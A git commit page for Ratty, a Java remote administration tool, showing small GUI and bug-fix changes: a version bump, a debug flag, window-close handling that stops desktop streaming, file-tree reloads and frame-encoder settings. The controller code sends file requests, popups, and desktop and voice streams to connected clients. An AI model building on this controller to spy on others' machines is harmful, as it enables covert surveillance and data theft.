Browse Source

Small changes

Bugfixes, cleanups
master
Sogomn 9 years ago
parent
commit
973c897917
  1. 2
      Ratty/src/de/sogomn/rat/GUISettings.java
  2. 4
      Ratty/src/de/sogomn/rat/Ratty.java
  3. 10
      Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java
  4. 6
      Ratty/src/de/sogomn/rat/server/gui/FileTree.java
  5. 23
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
  6. 6
      Ratty/src/de/sogomn/rat/util/FrameEncoder.java

2
Ratty/src/de/sogomn/rat/GUISettings.java

@ -25,7 +25,7 @@ final class GUISettings {
private static final Color BRIGHTER = new Color(255, 220, 190);
private static final Color DARKER = new Color(225, 185, 155);
private static final Color ALTERNATIVE = new Color(245, 235, 215);
private static final Color SELECTION = new Color(100, 115, 155);
private static final Color SELECTION = new Color(105, 120, 155);
private static final EmptyBorder TABLE_CELL_BORDER = new EmptyBorder(2, 5, 2, 5);

4
Ratty/src/de/sogomn/rat/Ratty.java

@ -26,8 +26,8 @@ import de.sogomn.rat.server.gui.RattyGuiController;
*/
public final class Ratty {
public static final boolean DEBUG = false;
public static final String VERSION = "1.5";
public static final boolean DEBUG = true;
public static final String VERSION = "1.6";
public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang");
private static String address;

10
Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java

@ -3,6 +3,8 @@ package de.sogomn.rat.server.gui;
import java.awt.Color;
import java.awt.Graphics2D;
import java.awt.event.MouseEvent;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.awt.image.BufferedImage;
import de.sogomn.engine.IKeyboardListener;
@ -29,6 +31,7 @@ public final class DisplayPanel extends AbstractListenerContainer<IGuiController
public static final String MOUSE_EVENT = "Mouse event";
public static final String KEY_EVENT = "Key event";
public static final String CLOSED = "Closed";
public DisplayPanel() {
//...
@ -36,6 +39,12 @@ public final class DisplayPanel extends AbstractListenerContainer<IGuiController
private Screen createScreen(final int screenWidth, final int screenHeight) {
final Screen screen = new Screen(screenWidth, screenHeight);
final WindowAdapter windowAdapter = new WindowAdapter() {
@Override
public void windowClosing(final WindowEvent w) {
notifyListeners(controller -> controller.userInput(CLOSED));
}
};
screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO);
screen.setTitle(title);
@ -43,6 +52,7 @@ public final class DisplayPanel extends AbstractListenerContainer<IGuiController
screen.setBackgroundColor(Color.BLACK);
screen.addMouseListener(this);
screen.addKeyboardListener(this);
screen.addWindowListener(windowAdapter);
screen.addListener(g -> {
g.drawImage(image, 0, 0, null);
});

6
Ratty/src/de/sogomn/rat/server/gui/FileTree.java

@ -151,7 +151,11 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
}
public void removeNode(final FileTreeNode node) {
final FileTreeNode parent = node.getParent();
treeModel.removeNodeFromParent(node);
treeModel.reload(parent);
}
public void removeChildren(final FileTreeNode node) {
@ -160,6 +164,8 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
for (final FileTreeNode child : children) {
treeModel.removeNodeFromParent(child);
}
treeModel.reload(node);
}
public void setVisible(final boolean visible) {

23
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -59,14 +59,6 @@ public final class RattyGuiController extends AbstractRattyController implements
* ==================================================
*/
private void requestFile(final ServerClient client, final FileTreeNode node) {
final String path = node.getPath();
final FileRequestPacket packet = new FileRequestPacket(path);
client.fileTree.removeChildren(node);
client.connection.addPacket(packet);
}
private PopupPacket createPopupPacket() {
final String input = gui.getInput();
@ -181,6 +173,11 @@ public final class RattyGuiController extends AbstractRattyController implements
gui.update();
}
private void stopDesktopStream(final ServerClient client) {
client.setStreamingDesktop(false);
gui.update();
}
private void toggleVoiceStream(final ServerClient client) {
final boolean streamingVoice = client.isStreamingVoice();
@ -188,6 +185,14 @@ public final class RattyGuiController extends AbstractRattyController implements
gui.update();
}
private void requestFile(final ServerClient client, final FileTreeNode node) {
final String path = node.getPath();
final FileRequestPacket packet = new FileRequestPacket(path);
client.fileTree.removeChildren(node);
client.connection.addPacket(packet);
}
private void handleFileTreeCommand(final ServerClient client, final String command) {
final FileTreeNode node = client.fileTree.getLastNodeClicked();
final FileTreeNode parent = node.getParent();
@ -206,6 +211,8 @@ public final class RattyGuiController extends AbstractRattyController implements
private void handleCommand(final ServerClient client, final String command) {
if (command == RattyGui.FILES) {
client.fileTree.setVisible(true);
} else if (command == DisplayPanel.CLOSED) {
stopDesktopStream(client);
} else if (command == RattyGui.DESKTOP) {
toggleDesktopStream(client);
} else if (command == RattyGui.VOICE) {

6
Ratty/src/de/sogomn/rat/util/FrameEncoder.java

@ -20,11 +20,11 @@ public final class FrameEncoder {
private static final int SKIP = 5;
private static final int CELLS_WIDE = 8;
private static final int CELLS_HIGH = 8;
private static final int CELLS_WIDE = 6;
private static final int CELLS_HIGH = 6;
private static final IFrame[] EMPTY_ARRAY = new IFrame[0];
private static final int CURSOR_SIZE = 10;
private static final int CURSOR_SIZE = 16;
private static final Stroke CURSOR_STROKE = new BasicStroke(3);
private FrameEncoder() {

Loading…
Cancel
Save